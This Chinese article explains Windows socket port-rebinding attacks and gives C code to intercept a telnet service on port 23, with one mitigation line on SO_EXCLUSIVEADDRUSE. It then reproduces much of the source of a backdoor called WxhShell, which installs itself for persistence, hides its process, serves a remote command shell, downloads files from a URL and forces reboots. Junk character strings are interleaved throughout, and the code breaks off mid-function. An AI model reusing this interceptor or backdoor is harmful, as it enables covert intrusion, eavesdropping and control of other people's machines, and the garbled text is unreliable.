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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r@4A%ql< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?XHQdN3e e]RzvWq saddr.sin_family = AF_INET; a<<4gXx ]@#9B>v= saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^v;)6a2 Y)1/fEM bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `j>5W<5q\ ^cYB.oeu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #hxYB 5skN'*oG 这意味着什么?意味着可以进行如下的攻击: 9-;-jnDy 4aS}b3=n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z\nDR|3 A9.TRKb=8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vha9,5_ xsH1) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]I\GnDJ^ 4-yK!LR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1,fR kQ
r^~+<" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6$R9Y.s>Z (03/4*g_s 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S~Gse+* FH=2,"A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3ay},3MCV% ?@rd,:'dE #include i(j/C #include ]{1{XIF #include v$]B;;[A #include f7x2"&?vg DWORD WINAPI ClientThread(LPVOID lpParam); 'zI(OnIS int main() p / ITg { "#~>q(4^ WORD wVersionRequested; B->AY.&j DWORD ret; VE+H! ob
A WSADATA wsaData; zgwez$ BOOL val; <F7a!$zQ SOCKADDR_IN saddr; ' h7Faj SOCKADDR_IN scaddr; QF>T)1&J[7 int err; &*v\t\]
SOCKET s; UMGiJO\yH SOCKET sc; 7zG
r+Px int caddsize; $r!CQ2S HANDLE mt; ~7 i{~<? DWORD tid; JIyS e:p3 wVersionRequested = MAKEWORD( 2, 2 );
^ }7O|Y7 err = WSAStartup( wVersionRequested, &wsaData ); E#J})cPzw if ( err != 0 ) { f!'i5I] printf("error!WSAStartup failed!\n"); fp [gKRSF return -1; 4'O,xC } bT,_=7F saddr.sin_family = AF_INET; ?\o~P Xq 135/d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cwmS4^zt8 ME)Tx3d saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qfDG.Zee# saddr.sin_port = htons(23); tAv3+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I\mF dE { QC+
Z6WS; printf("error!socket failed!\n"); /JR+WmO return -1; 5NhFjPETr } j*.;6}\o val = TRUE; a}UmD
HS- //SO_REUSEADDR选项就是可以实现端口重绑定的 Jy(G
A if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,';|CGI cP { {+J{t\` printf("error!setsockopt failed!\n"); PJ5}c!o[ return -1; 3]*Kz*i } ? "I %K% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tl0|.Q, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hE&6;3"> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 es)^^kGj6f `s7pM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aw*]b.f { flmQNrC.8 ret=GetLastError(); \FsA-W\X printf("error!bind failed!\n"); 0/GBs~P return -1; kvwnqaX } iHPsRq! listen(s,2); $*0-+h while(1) ^\}qq>_ { m4/qxm"Dx: caddsize = sizeof(scaddr); Vm%G
q //接受连接请求 ~F,~^r!Jtu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aKj|gwo! if(sc!=INVALID_SOCKET) b? );
D { 7P<VtS mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); h&'|^;FM if(mt==NULL) l'"nU6B& {
>Z!!` 0{ printf("Thread Creat Failed!\n"); P73GH break; qX@e+&4P0 } /PwiZA3sA } 7"(Zpu CloseHandle(mt); gv`_+E{P } 9S%5Z> closesocket(s); So1TH% WSACleanup(); `58% &3lp return 0; Yz/Blh%V } ^\ [p6> DWORD WINAPI ClientThread(LPVOID lpParam) [^"*I.Z_ { WGv 47i SOCKET ss = (SOCKET)lpParam; |]< 3cW+ SOCKET sc; 2d.$V,U< unsigned char buf[4096]; T~E;@weR SOCKADDR_IN saddr; z x-[@G long num; 95,]86 DWORD val; ^77W#{ Zs DWORD ret; VEgtN} //如果是隐藏端口应用的话,可以在此处加一些判断 5SY%B#;5G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 2_wue49-l saddr.sin_family = AF_INET; {xZY4b2 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
e}uK"dl( saddr.sin_port = htons(23); @AZNF+
\W$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yI^Yh{
{ !,`'VQw$ printf("error!socket failed!\n"); I/(U0`% return -1; Hd\oV^>
} (>ze{T| val = 100; P*7G? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \<`oW> { Fp@> (M#3 ret = GetLastError(); rFzj\%xa[ return -1; tN\I2wm } o@.{|j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qWWt5rJ { cUG^^3! ret = GetLastError(); F@q9UlfB- return -1; /Mw;oP{&b } dm=?o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r"{jrBK$ { 8UgogNR\ printf("error!socket connect failed!\n"); ys`oHSf closesocket(sc); 3T0-RP* closesocket(ss); f R@Cg
sw return -1; ilJ`_QN } g~.#.S ds while(1) *<67h*|) { r5nHYV&7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gYrB@W;2 //如果是嗅探内容的话,可以再此处进行内容分析和记录 FNF `Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #>)z}a] num = recv(ss,buf,4096,0);
]ilLed if(num>0) wf]?:'} send(sc,buf,num,0); ]4[%Sv6]G else if(num==0) #;^U W break; _z BfNz9D num = recv(sc,buf,4096,0); Q
Kr/ if(num>0) h0k?(O send(ss,buf,num,0); ;Bz|hB{ else if(num==0) R?:Q=7K break; ~D|,$E tX4 } (2>q closesocket(ss); vWESu4W`L closesocket(sc); &QfEDDJ return 0 ; ,'`yh|}G\ } 'V:MppQVZ. )LKJfoo
PY w*/@|r39 ========================================================== hR7uAk_? G93V=Bk= 下边附上一个代码,,WXhSHELL uyk;]EYjHZ |J:r]);@K ========================================================== Wj|W B*B 2[pOGc$ #include "stdafx.h" 2>k*9kyp 25vjn 1$sW #include <stdio.h> (T pnJq #include <string.h> w8Z#]kRv #include <windows.h> `3VI9GmQ #include <winsock2.h> >}~[ew #include <winsvc.h> 1irSI,j%z #include <urlmon.h> >5kz#|@P F5cNF5 #pragma comment (lib, "Ws2_32.lib") H^S<bZ #pragma comment (lib, "urlmon.lib") :P2!& W weu+$Kr
#define MAX_USER 100 // 最大客户端连接数 {p/Yz# #define BUF_SOCK 200 // sock buffer tR<#CCtRp' #define KEY_BUFF 255 // 输入 buffer 3>L5TYa *Us}E7/"' #define REBOOT 0 // 重启 6AY(/N8V #define SHUTDOWN 1 // 关机 e/+.^ '{ >Q@y8*E\F #define DEF_PORT 5000 // 监听端口 :nb|WgEc EFVZAY"+!; #define REG_LEN 16 // 注册表键长度 ETU-6qFtO #define SVC_LEN 80 // NT服务名长度 B%Qo6*b EU:N9oT // 从dll定义API ub>:dNBN typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >/4[OPB0R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #V/{DPz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /"A=Yf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*?1\S^7R psIo[.$rTk // wxhshell配置信息 4V,p\$; struct WSCFG { Pb T2-
F_ int ws_port; // 监听端口 V1d#7rP char ws_passstr[REG_LEN]; // 口令 x!s=Nola
int ws_autoins; // 安装标记, 1=yes 0=no O-p`9(_m char ws_regname[REG_LEN]; // 注册表键名 DN=W2MEfc char ws_svcname[REG_LEN]; // 服务名 =kwz3Wv char ws_svcdisp[SVC_LEN]; // 服务显示名 l(Hz9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 H"w;~;h char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Qt/(/ int ws_downexe; // 下载执行标记, 1=yes 0=no ](s5;ta char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .K4)#oC char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T`]%$$1s _qf~
hhi }; mpk+]n@ nTGf // default Wxhshell configuration F?a
63,r struct WSCFG wscfg={DEF_PORT, "pK<d~Wu "xuhuanlingzhe", 2Uf/' 1, G/3T0d+- "Wxhshell", /]J\/Z> "Wxhshell", 9@"pR;X@ "WxhShell Service", ;Q vQ fV4 "Wrsky Windows CmdShell Service", q#8\BOTP | "Please Input Your Password: ", SOsz=bVx 1, (m!kg " http://www.wrsky.com/wxhshell.exe", uc"%uc' "Wxhshell.exe" Ue;Z)} }; (r?hD*2r @IbZci)1 // 消息定义模块 Y[PC<-fyf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2<8l&2}7] char *msg_ws_prompt="\n\r? for help\n\r#>"; s1[.L~;J char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ~e,l2
< char *msg_ws_ext="\n\rExit."; ~cO iv char *msg_ws_end="\n\rQuit."; vdUKIP
=|_ char *msg_ws_boot="\n\rReboot..."; .UX4p
= char *msg_ws_poff="\n\rShutdown..."; kUGFg{" char *msg_ws_down="\n\rSave to "; GL9'dL| tXrKC char *msg_ws_err="\n\rErr!"; oKz!Xu%Hl char *msg_ws_ok="\n\rOK!"; KfVsnL_ NM:$Q<n char ExeFile[MAX_PATH]; j7w9H/XF} int nUser = 0; n;=FD;}j+ HANDLE handles[MAX_USER]; l*wGKg"x3 int OsIsNt; I<<1mEk *K?UWi#$ SERVICE_STATUS serviceStatus; d:A'|;'] SERVICE_STATUS_HANDLE hServiceStatusHandle; M/[_~ ~AaEa,LQ // 函数声明 ?ZC!E0] int Install(void); Ug0c0z!b int Uninstall(void); ,{(XT7hr int DownloadFile(char *sURL, SOCKET wsh); V,& OO int Boot(int flag); e#}Fm;|d void HideProc(void); -\%5aXr int GetOsVer(void); / s Apj int Wxhshell(SOCKET wsl); \@h$|nb void TalkWithClient(void *cs); fXnewPr=# int CmdShell(SOCKET sock); *a|575e< z int StartFromService(void); :,qvqh][ int StartWxhshell(LPSTR lpCmdLine); /L(}VJg- 4|cRYZj5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g#6R( VOID WINAPI NTServiceHandler( DWORD fdwControl ); *6u2c%^ znWB.H // 数据结构和表定义 K7{B!kX4k SERVICE_TABLE_ENTRY DispatchTable[] = \BfMCA/ { ct,;V/Dx {wscfg.ws_svcname, NTServiceMain}, ->IZZ5G< {NULL, NULL} i-wWbZ- }; ;C1#[U1Uy T)q
Uf
H // 自我安装 ^gyI-S(; int Install(void) BaP'y8dVN { tG9C(D`G char svExeFile[MAX_PATH]; K3=0D!D q HKEY key; BL>~~ strcpy(svExeFile,ExeFile); d+]= l+& |${ImP // 如果是win9x系统,修改注册表设为自启动 WO!OaC?+B, if(!OsIsNt) { 2(\PsN w! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #k d9} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G9jf]Ye; RegCloseKey(key); |9FrVO$M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ke:EL;*8k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L|s\IM1g RegCloseKey(key); e87a9ZPm return 0; $7Z-Nn38 } 6#jql } J2oh#TGp } "+&pd!\ else { D-i, C~W y#`;[! // 如果是NT以上系统,安装为系统服务 b-<@3N.9] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y+g(aak+. if (schSCManager!=0) WLVkrTvX { 8a8D0}' SC_HANDLE schService = CreateService Ie _{P&J ( K(lVAKiP] schSCManager, P&[&Dj wscfg.ws_svcname, )ryP K"V wscfg.ws_svcdisp, C}jrx^u> SERVICE_ALL_ACCESS, 'T qF}a7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wm?%&V/# SERVICE_AUTO_START, *""W`x
SERVICE_ERROR_NORMAL, i+T5(P$ svExeFile, -j rAk NULL, 5efN5Kt NULL, SfY9PNck\ NULL, %FqQ+0^ NULL, t"J{qfNs NULL b *0u xvLu ); #<
:`:@2 if (schService!=0) >X:!Y[N { K]yWpW CloseServiceHandle(schService); UpSJ%%.n CloseServiceHandle(schSCManager); !5[SNr3^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /$\8?<Pc". strcat(svExeFile,wscfg.ws_svcname); z"7X.*] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &IRM<A!8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %{^|Av1Uz RegCloseKey(key); 6r@>n_6LY return 0; / <+`4n } cAVdH{$" } lMg#zT!? CloseServiceHandle(schSCManager); $II~tO } )~nieQEZQ } =^{MyR7 DNqC*IvuzM return 1; Fe:
~M?] } F)imeu {
JDD"z // 自我卸载 H;tE= int Uninstall(void) \K%M.>]vq { AkO);4A;Jd HKEY key; :Zob"*T [Ne'2z if(!OsIsNt) { ]Z=al`- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v7#|% RegDeleteValue(key,wscfg.ws_regname); [[N${ C RegCloseKey(key); %" l; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gp)J[8j RegDeleteValue(key,wscfg.ws_regname); lt2MB# RegCloseKey(key); Nx*1m
BC return 0; q*a~9.i@ } "VoufXM: } ;g2UIb?{6 } OkT@ _U else { ]Z85%q^` _]D
6m2R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R(P(G;#j if (schSCManager!=0) 0sme0"Sl { #QSSpsF@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sx0{]1J if (schService!=0)
yn<J>e { j]R[;8g if(DeleteService(schService)!=0) { Q^05n$ tI CloseServiceHandle(schService); BYa#<jXtAT CloseServiceHandle(schSCManager); nf&5oE^ return 0; $o$WFV+h } alNn(0MG CloseServiceHandle(schService); VUHf-bKl } IQ-l%x[fue CloseServiceHandle(schSCManager); asmu< } w5/6+@} } 4ZR2U3jd1 ,Sy&?t}` return 1; C6@*l~j } ^mC,Z+! L8NZU*" // 从指定url下载文件 FDGG$z?>m int DownloadFile(char *sURL, SOCKET wsh) n^5Q
f\ o { -F3~X R HRESULT hr; 5gC>j( char seps[]= "/"; 0E
(G1o' char *token; &0%B3 char *file; ORWi+H| char myURL[MAX_PATH]; ]A#:Uc5 char myFILE[MAX_PATH]; MOp "kA W_3BL]^= strcpy(myURL,sURL); M_r[wYt! token=strtok(myURL,seps); )<_qTd0` while(token!=NULL) oJ"D5d, { !u
.n file=token; #
kNp); token=strtok(NULL,seps); :7dc;WdM } ,]]IJ;:w 8]1,E E< GetCurrentDirectory(MAX_PATH,myFILE); IJDbm}:/e strcat(myFILE, "\\"); +KNd%AJ strcat(myFILE, file); EdSUBoWF} send(wsh,myFILE,strlen(myFILE),0); zM<L_l& send(wsh,"...",3,0); +qT+iHa|n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "^wIoJ6H' if(hr==S_OK) I,)\506 return 0; MLmaA3 else 5a)$:oO! return 1; se=^K#o :h3n[% } u$(ei2f ({!H() // 系统电源模块 UA]fKi int Boot(int flag) ~3f|-%Z { gOah5*Lj HANDLE hToken; Vx>Q TOKEN_PRIVILEGES tkp; T3 4Z#PFwe oj)(.X<8N if(OsIsNt) { AP1ZIc6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I'p+9H$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;vX1U8 tkp.PrivilegeCount = 1;
M}@>h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |k%1mE(+=s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d\JBjT1g if(flag==REBOOT) { S'NLj( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]IeLKcn return 0; gMkSl8[ } UK*v\TMv else { 4*5 e0:O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WXDo`_{R return 0; "Ehh9 m1& } KtH^k&z.f } qK9A
/Mc else { d~h;|Bl[ if(flag==REBOOT) { pLV
%g#h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |3Oyg ?2 return 0; t imY0fx# } a)Pr&9I else { ;Bzx}7A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7n+,!oJ return 0; oayu*a. } W|uRQA` } u4m8^fj+T z1^fG) return 1; 3G2iRr.o } Oe
:S1 f !"Q%I#8uh // win9x进程隐藏模块 ~kSOYvK$' void HideProc(void) t*A[v { UX<-jY#'V lQvgq HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T:H~Y+qnt if ( hKernel != NULL ) 9&`";dg { >7~*j4g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4m"0R\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a l6y=;\jZ FreeLibrary(hKernel); [C<K~ } M* Ej*# "+wkruC return; _2{_W9k } / #rH18 h{$k%YJ? // 获取操作系统版本 0( A ?& int GetOsVer(void) H{S+^'5Y. { kS9;Tj cx OSVERSIONINFO winfo; [6_.Y*}N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .P")S| GetVersionEx(&winfo); mU?~s7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uozq^sy return 1; 7DoU7I\u else pPo(nH|< return 0; ?_A[E]/H } d!Gy#<H ]7yxXg // 客户端句柄模块 3(,m(+J[S int Wxhshell(SOCKET wsl) tY!l}:E[ { udBIEW,` SOCKET wsh; N}ND()bf struct sockaddr_in client; S4{vS?>j DWORD myID; .s!0S-RkC '-[hy>t while(nUser<MAX_USER) Z~8%bfpe { &NoA, `|7 int nSize=sizeof(client); WWZ<[[ > wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vwh;QJxb if(wsh==INVALID_SOCKET) return 1; bDJ!Fc/ q1x[hv3
pP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~9yKMUf if(handles[nUser]==0) g}gGm[1SUo closesocket(wsh); m{X{h4t else S<cz2FlV nUser++; 0j6b5<Gpc* } :9%e:- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c ^.^5@ 1r}i[5 return 0; \=im{(0h } 8AY;WL:; Haekr*1% // 关闭 socket ~_ZK93o( void CloseIt(SOCKET wsh) vc p{Gf|^ { :l!sKT?:d! closesocket(wsh); /#(IV_Eol nUser--; xRhGBb{@s ExitThread(0); oq!\100 } K\XQE50 F~
\ONO5 // 客户端请求句柄 hif;atO void TalkWithClient(void *cs) YlGUd~$`"+ { &|ne!wu V:J|shRo SOCKET wsh=(SOCKET)cs; 'q |"+; char pwd[SVC_LEN]; c$2kR: char cmd[KEY_BUFF]; Mog [,{w char chr[1]; C,W_0=!e int i,j; A:GqR;;"x> HJ]e%og while (nUser < MAX_USER) { 1Td`S1'#yg .S#i/A'x if(wscfg.ws_passstr) { d v[.u{#tP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f:&JKB)N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h@=@
fa //ZeroMemory(pwd,KEY_BUFF); 9"+MZ$ i=0; :f39)g5> while(i<SVC_LEN) { )V[j~uOU)] )$9wKk\F // 设置超时 .d^8?vo fd_set FdRead; 7qOkv1.}0 struct timeval TimeOut; 1t &_]q_ FD_ZERO(&FdRead); g |?}a]G FD_SET(wsh,&FdRead); %%?}db1n TimeOut.tv_sec=8; U,v`md@PX TimeOut.tv_usec=0; |UWIV int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eZ]r"_? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /*Q3=Dse] _BJ:GDz> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A>upT' pwd =chr[0]; XE<5( if(chr[0]==0xd || chr[0]==0xa) { kwT)j(pp< pwd=0;
*~U.36 break; .[]S!@+% } _rIo
@v i++; z[QDJMt> } &ZC{ _t 1R~$m // 如果是非法用户,关闭 socket 6O6B8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L%5y@b{AR } U!o
f&^}yqmuE send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3MHpP5C send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p19(>|$J R$
+RTG:E while(1) { ojf6@p_ <5pNFj}0;X ZeroMemory(cmd,KEY_BUFF); Tr:@Dv.O *v K~t|z // 自动支持客户端 telnet标准 a B MV6' j=0; ejkUNCKQt while(j<KEY_BUFF) { /ZabY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |g^YD;9s. cmd[j]=chr[0]; *kK +Nvt8s if(chr[0]==0xa || chr[0]==0xd) { rCA!b"C2 cmd[j]=0; T3
ie-G@< break; _$@fCo0 } ineSo8| @ j++; 27c0wzq } wk8fa S>(x x"Ia // 下载文件 H.{Fw j4 if(strstr(cmd,"http://")) { Ayqs~&{ send(wsh,msg_ws_down,strlen(msg_ws_down),0); uIO,9> ee if(DownloadFile(cmd,wsh)) [j@i^B & send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc+(xk else :KX*j$5U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &(,&mE } lg$aRqI29 else { qtZzJ>Y M$ieM[_T switch(cmd[0]) { KP0(w(q ~b)X:ku // 帮助 >m1b/J3# case '?': { "A~dt5GJ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &ot^+uVH break; z5iCQ4C< } lN5PKsGl // 安装 leNX5 sX case 'i': { 0Q7<;'m if(Install()) }[PwA[k' send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3!@|/<w else #BBDI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N5 ; z5E break; DKMkCPX% } P8dMfD*"E // 卸载 s,[I_IiPf case 'r': { YzZj=]\`b if(Uninstall()) -th.(eAx send(wsh,msg_ws_err,strlen(msg_ws_err),0); O
]
!tK else DPW^OgL; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^J7q,tvbJ break; <BBzv-?D } }15&<s // 显示 wxhshell 所在路径 Wll0mtv case 'p': { ^vG<Ma.yk char svExeFile[MAX_PATH]; C7m/< strcpy(svExeFile,"\n\r"); v ,h"u strcat(svExeFile,ExeFile); JP\jhkn send(wsh,svExeFile,strlen(svExeFile),0); dPpQCxf break; GR*sk#{ } `fEzE\\!* // 重启 [|*7"Q( case 'b': { u?SwGXi~8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cOpe6H6,bz if(Boot(REBOOT)) dT 7fyn send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wkk(6gS, else { HX| p4-L closesocket(wsh); R -ek O7z ExitThread(0); )^qXjF } Z D"*fr break; Y+23 jlgb } @YaI5> ,/ // 关机
}+/Vk case 'd': { DcaKGjp send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |;Jt*
_ if(Boot(SHUTDOWN)) /O.q4p send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{A$|Ipaq else { JleClB(2n/ closesocket(wsh); _IU5HT}2 ExitThread(0); =eW4?9Uq } *zweZG8: break; K-Pcew^? } 1qn/*9W}= // 获取shell R1Rk00Ow: case 's': { _/P;`@ CmdShell(wsh); F)eP55C6 closesocket(wsh); =m (u=|N3 ExitThread(0); 0k\,z(e break; CHqi5Z/+ } ak:f4dEd // 退出 b9?Vpu`? case 'x': { FYC]^D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E3S0u7Es CloseIt(wsh); 0)K~pV0aT break; n?OMfx } *HV_$^)= // 离开 X04LAYY_u case 'q': { -9+$z|K send(wsh,msg_ws_end,strlen(msg_ws_end),0); \A\?7#9\ closesocket(wsh); a|t{1]^w` WSACleanup(); K`X'Hg#_P2 exit(1); zD8$DG8 break; o\it]B } #H Jlm1d } @ kv~2m } 0;`FS/[(f %UooZO // 提示信息 # 7dvT= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;IPk+,hpmi } ]QHZ[C } CcV@YST? @m`H~]AU return; V{>;Z vj1R } wS7Vo{#@\ -3d`e2^&} // shell模块句柄 :si&A;k int CmdShell(SOCKET sock) ^o q|^O { L?8OWLjRy STARTUPINFO si; DTi^* Wj ZeroMemory(&si,sizeof(si)); vYLspZ;S si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w0sy@OF si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C.uv0 PROCESS_INFORMATION ProcessInfo; _M;{}!Gc&A char cmdline[]="cmd";
ca0vN^Ji CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^a3 (QKS return 0; W95q1f#7 } bqF?!t<B (C`nBiL< // 自身启动模式 Mt{cX,DS int StartFromService(void) +W-b3R:1> { EXW?)_pg typedef struct Ty!V)i { J-
l[dC DWORD ExitStatus; 2.{<C.BK{ DWORD PebBaseAddress; l)DcwkIG DWORD AffinityMask; 6oq^n
s- DWORD BasePriority; "J}B
lB ULONG UniqueProcessId; ~% ]V,-4 ULONG InheritedFromUniqueProcessId; u0[O /G } PROCESS_BASIC_INFORMATION; j[$+DCO#|m b=W kRj PROCNTQSIP NtQueryInformationProcess; kwS[,Qy\ dKchQsgCg static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q~AvxO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vu*{+YpH 7n;a_Z0s$ HANDLE hProcess; wc}x
